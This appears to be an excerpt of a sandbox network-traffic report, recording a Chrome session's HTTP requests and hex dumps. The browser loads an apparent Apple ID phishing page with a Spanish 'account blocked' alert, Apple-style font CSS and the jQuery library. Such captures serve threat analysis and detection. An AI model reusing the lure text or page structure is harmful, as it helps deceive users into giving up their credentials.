2025-01-13 00:37:20 UTC	2085	IN	Data Raw: 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 3c 70 20 69 64 3d 22 61 6c 65 72 74 49 6e 66 6f 22 20 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 20 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 20 73 74 79 6c 65 3d 22 6f 75 74 6c 69 6e 65 3a 20 30 70 78 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 73 74 65 20 49 44 20 64 65 20 41 70 70 6c 65 20 73 65 20 68 61 20 62 6c 6f 71 75 65 61 64 6f 20 70 6f 72 20 6d 6f 74 69 76 6f 73 20 64 65 20 73 65 67 75 72 69 64 61 64 2e 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 70 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 70 70 2d 64 69 61 6c 6f 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 20 22 3e 0d 0a 20 20 20 Data Ascii: "> <p id="alertInfo" class="sr-only" tabindex="-1" style="outline: 0px;"> Este ID de Apple se ha bloqueado por motivos de seguridad. </p> <div class="app-dialog"> <div class="head ">
2025-01-13 00:37:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49736	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:20 UTC	577	OUT	GET /aU3V88/css/fonts2.css HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:20 UTC	231	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 8479 Content-Type: text/css
2025-01-13 00:37:20 UTC	7961	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 4d 79 72 69 61 64 20 53 65 74 20 50 72 6f 27 3b 0d 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0d 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 3b 0d 0d 0a 09 73 72 63 3a 6c 6f 63 61 6c 28 27 c3 a2 cb 9c c2 ba c3 af c2 b8 c5 bd 27 29 2c 20 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 75 6c 74 72 61 6c 69 67 68 74 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 75 6c 74 72 61 6c 69 67 68 74 2e 74 74 66 22 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 3b 0d 0d 0a 09 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 32 20 41 Data Ascii: @font-face {font-family:'Myriad Set Pro';font-style:normal;font-weight:100;src:local(''), url("myriad-set-pro_ultralight.woff") format("woff"), url("myriad-set-pro_ultralight.ttf") format("truetype");/* Copyright (c) 1992 A
2025-01-13 00:37:20 UTC	518	IN	Data Raw: 68 74 20 28 63 29 20 31 39 39 32 20 41 64 6f 62 65 20 53 79 73 74 65 6d 73 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 20 4d 79 72 69 61 64 20 69 73 20 61 20 74 72 61 64 65 6d 61 72 6b 20 6f 66 20 41 64 6f 62 65 20 53 79 73 74 65 6d 73 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 20 2a 2f 0d 0d 0a 7d 0d 0d 0a 0d 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 4d 79 72 69 61 64 20 53 65 74 20 50 72 6f 27 3b 0d 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0d 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 0d 0d 0a 09 73 72 63 3a 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 74 65 78 74 2e 65 6f 74 22 29 3b 0d 0d 0a Data Ascii: ht (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. */}@font-face {font-family:'Myriad Set Pro';font-style:normal;font-weight:400;src:url("myriad-set-pro_text.eot");

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49854	151.101.194.137	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:20 UTC	536	OUT	GET /jquery-2.2.4.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.location.as-nt.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:20 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 257551 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-3ee0f" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 13 Jan 2025 00:37:20 GMT Age: 750579 X-Served-By: cache-lga21969-LGA, cache-ewr-kewr1740059-EWR X-Cache: HIT, HIT X-Cache-Hits: 69, 1 X-Timer: S1736728641.957950,VS0,VE3 Vary: Accept-Encoding
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 32 2e 32 2e 34 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 35 2d 32 30 54 31 Data Ascii: /! jQuery JavaScript Library v2.2.4 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T1
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 72 69 63 74 22 3b 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 61 74 20 3d 20 61 72 72 2e 63 6f 6e 63 61 74 3b 0a 0a 76 61 72 20 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 3b 0a 0a 76 61 72 20 69 6e 64 65 78 4f 66 20 3d 20 61 72 72 2e 69 6e 64 65 78 4f 66 3b 0a 0a 76 61 72 20 63 6c 61 73 73 32 74 79 70 65 20 3d 20 7b 7d 3b 0a 0a 76 61 72 20 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 0a 0a 76 61 72 20 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 0a 0a Data Ascii: rict";var arr = [];var document = window.document;var slice = arr.slice;var concat = arr.concat;var push = arr.push;var indexOf = arr.indexOf;var class2type = {};var toString = class2type.toString;var hasOwn = class2type.hasOwnProperty;
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 09 28 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 20 29 20 3a 0a 0a 09 09 09 2f 2f 20 52 65 74 75 72 6e 20 61 6c 6c 20 74 68 65 20 65 6c 65 6d 65 6e 74 73 20 69 6e 20 61 20 63 6c 65 61 6e 20 61 72 72 61 79 0a 09 09 09 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 Data Ascii: ust the one element from the set( num < 0 ? this[ num + this.length ] : this[ num ] ) :// Return all the elements in a clean arrayslice.call( this );},// Take an array of elements and push it onto the stack// (returning the new matched
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 61 72 72 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 Data Ascii: .sort,splice: arr.splice};jQuery.extend = jQuery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 Data Ascii: clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.e
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 63 74 22 20 7c 7c 20 6f 62 6a 2e 6e 6f 64 65 54 79 70 65 20 7c 7c 20 6a 51 75 65 72 79 2e 69 73 57 69 6e 64 6f 77 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 20 29 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 20 7c 7c 20 7b 7d 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 Data Ascii: ct" \|\| obj.nodeType \|\| jQuery.isWindow( obj ) ) {return false;}// Not own constructor property must be Objectif ( obj.constructor &&!hasOwn.call( obj, "constructor" ) &&!hasOwn.call( obj.constructor.prototype \|\| {}, "isPrototypeOf"
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 69 73 65 2c 20 61 76 6f 69 64 20 74 68 65 20 44 4f 4d 20 6e 6f 64 65 20 63 72 65 61 74 69 6f 6e 2c 20 69 6e 73 65 72 74 69 6f 6e 0a 09 09 09 09 2f 2f 20 61 6e 64 20 72 65 6d 6f 76 61 6c 20 62 79 20 75 73 69 6e 67 20 61 6e 20 69 6e 64 69 72 65 63 74 20 67 6c 6f 62 61 6c 20 65 76 61 6c 0a 0a 09 09 09 09 69 6e 64 69 72 65 63 74 28 20 63 6f 64 65 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 2c 0a 0a 09 2f 2f 20 43 6f 6e 76 65 72 74 20 64 61 73 68 65 64 20 74 6f 20 63 61 6d 65 6c 43 61 73 65 3b 20 75 73 65 64 20 62 79 20 74 68 65 20 63 73 73 20 61 6e 64 20 64 61 74 61 20 6d 6f 64 75 6c 65 73 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 49 45 39 2d 31 31 2b 0a 09 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 20 66 6f 72 67 6f 74 20 74 6f 20 68 75 6d 70 20 74 68 65 69 72 20 Data Ascii: ise, avoid the DOM node creation, insertion// and removal by using an indirect global evalindirect( code );}}},// Convert dashed to camelCase; used by the css and data modules// Support: IE9-11+// Microsoft forgot to hump their
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 3d 20 6e 75 6c 6c 20 3f 20 2d 31 20 3a 20 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 20 61 72 72 2c 20 65 6c 65 6d 2c 20 69 20 29 3b 0a 09 7d 2c 0a 0a 09 6d 65 72 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 69 72 73 74 2c 20 73 65 63 6f 6e 64 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 20 3d 20 2b 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 0a 09 09 09 6a 20 3d 20 30 2c 0a 09 09 09 69 20 3d 20 66 69 72 73 74 2e 6c 65 6e 67 74 68 3b 0a 0a 09 09 66 6f 72 20 28 20 3b 20 6a 20 3c 20 6c 65 6e 3b 20 6a 2b 2b 20 29 20 7b 0a 09 09 09 66 69 72 73 74 5b 20 69 2b 2b 20 5d 20 3d 20 73 65 63 6f 6e 64 5b 20 6a 20 5d 3b 0a 09 09 7d 0a 0a 09 09 66 69 72 73 74 2e 6c 65 6e 67 74 68 20 3d 20 69 3b 0a 0a 09 09 72 65 74 75 72 6e 20 66 69 72 73 74 3b 0a 09 7d 2c 0a 0a 09 67 72 65 70 Data Ascii: = null ? -1 : indexOf.call( arr, elem, i );},merge: function( first, second ) {var len = +second.length,j = 0,i = first.length;for ( ; j < len; j++ ) {first[ i++ ] = second[ j ];}first.length = i;return first;},grep
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 2c 0a 0a 09 2f 2f 20 42 69 6e 64 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 6f 20 61 20 63 6f 6e 74 65 78 74 2c 20 6f 70 74 69 6f 6e 61 6c 6c 79 20 70 61 72 74 69 61 6c 6c 79 20 61 70 70 6c 79 69 6e 67 20 61 6e 79 0a 09 2f 2f 20 61 72 67 75 6d 65 6e 74 73 2e 0a 09 70 72 6f 78 79 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 6e 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 76 61 72 20 74 6d 70 2c 20 61 72 67 73 2c 20 70 72 6f 78 79 3b 0a 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 63 6f 6e 74 65 78 74 20 3d 3d 3d 20 22 73 74 72 69 6e 67 22 20 29 20 7b 0a 09 09 09 74 6d 70 20 3d 20 66 6e 5b 20 63 6f 6e 74 65 78 74 20 5d 3b 0a 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 66 6e 3b 0a 09 09 09 66 6e 20 3d 20 74 6d 70 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 51 75 69 63 6b 20 63 Data Ascii: ,// Bind a function to a context, optionally partially applying any// arguments.proxy: function( fn, context ) {var tmp, args, proxy;if ( typeof context === "string" ) {tmp = fn[ context ];context = fn;fn = tmp;}// Quick c
2025-01-13 00:37:20 UTC	1378	IN	Data Raw: 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 66 75 6e 63 74 69 6f 6e 28 20 69 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 69 4f 53 20 38 2e 32 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 Data Ascii: r String Function Array Date RegExp Object Error Symbol".split( " " ),function( i, name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: iOS 8.2 (not reproducible in simulator)// `in` ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49864	151.101.130.137	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:21 UTC	354	OUT	GET /jquery-2.2.4.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:21 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 257551 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-3ee0f" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 13 Jan 2025 00:37:21 GMT Age: 750580 X-Served-By: cache-lga21969-LGA, cache-ewr-kewr1740023-EWR X-Cache: HIT, HIT X-Cache-Hits: 69, 1 X-Timer: S1736728642.878566,VS0,VE3 Vary: Accept-Encoding
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 32 2e 32 2e 34 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 35 2d 32 30 54 31 Data Ascii: /! jQuery JavaScript Library v2.2.4 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T1
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 72 69 63 74 22 3b 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 61 74 20 3d 20 61 72 72 2e 63 6f 6e 63 61 74 3b 0a 0a 76 61 72 20 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 3b 0a 0a 76 61 72 20 69 6e 64 65 78 4f 66 20 3d 20 61 72 72 2e 69 6e 64 65 78 4f 66 3b 0a 0a 76 61 72 20 63 6c 61 73 73 32 74 79 70 65 20 3d 20 7b 7d 3b 0a 0a 76 61 72 20 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 0a 0a 76 61 72 20 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 0a 0a Data Ascii: rict";var arr = [];var document = window.document;var slice = arr.slice;var concat = arr.concat;var push = arr.push;var indexOf = arr.indexOf;var class2type = {};var toString = class2type.toString;var hasOwn = class2type.hasOwnProperty;
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 09 28 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 20 29 20 3a 0a 0a 09 09 09 2f 2f 20 52 65 74 75 72 6e 20 61 6c 6c 20 74 68 65 20 65 6c 65 6d 65 6e 74 73 20 69 6e 20 61 20 63 6c 65 61 6e 20 61 72 72 61 79 0a 09 09 09 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 Data Ascii: ust the one element from the set( num < 0 ? this[ num + this.length ] : this[ num ] ) :// Return all the elements in a clean arrayslice.call( this );},// Take an array of elements and push it onto the stack// (returning the new matched
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 61 72 72 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 Data Ascii: .sort,splice: arr.splice};jQuery.extend = jQuery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 